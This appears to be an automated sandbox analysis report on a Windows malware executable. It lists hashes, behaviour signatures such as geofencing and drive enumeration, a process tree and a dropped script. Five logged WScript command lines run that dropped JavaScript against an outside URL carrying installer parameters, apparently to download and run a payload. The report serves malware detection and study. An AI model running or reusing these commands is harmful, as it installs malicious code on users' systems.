Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/12/2022, 08:43

General

  • Target

    afab017a507b1a5d04c8626658567052c4aeebf11a9b1af523ddc44146bb5185.exe

  • Size

    184KB

  • MD5

    235f7d22f4bb3f7d7ea1c718fd971322

  • SHA1

    9a6d5fe74bc5a75d616493b03fe4a100338af318

  • SHA256

    afab017a507b1a5d04c8626658567052c4aeebf11a9b1af523ddc44146bb5185

  • SHA512

    e3ff0788fd7dc67a9c81a45478c6b9696602987bf3761fe041a5f83e5313fe64f7c7f66099b81518cb02f92654838fc0b519773ab07e4c1f134c5d477d14f0b0

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3j:/7BSH8zUB+nGESaaRvoB7FJNndne

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\afab017a507b1a5d04c8626658567052c4aeebf11a9b1af523ddc44146bb5185.exe
    "C:\Users\Admin\AppData\Local\Temp\afab017a507b1a5d04c8626658567052c4aeebf11a9b1af523ddc44146bb5185.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5056
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE12D.js" http://www.djapp.info/?domain=MsPEORuqCr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufE12D.exe
      2⤵
      • Blocklisted process makes network request
      PID:5028
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE12D.js" http://www.djapp.info/?domain=MsPEORuqCr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufE12D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1448
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE12D.js" http://www.djapp.info/?domain=MsPEORuqCr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufE12D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4580
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE12D.js" http://www.djapp.info/?domain=MsPEORuqCr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufE12D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4296
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE12D.js" http://www.djapp.info/?domain=MsPEORuqCr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxG C:\Users\Admin\AppData\Local\Temp\fufE12D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1104

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufE12D.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76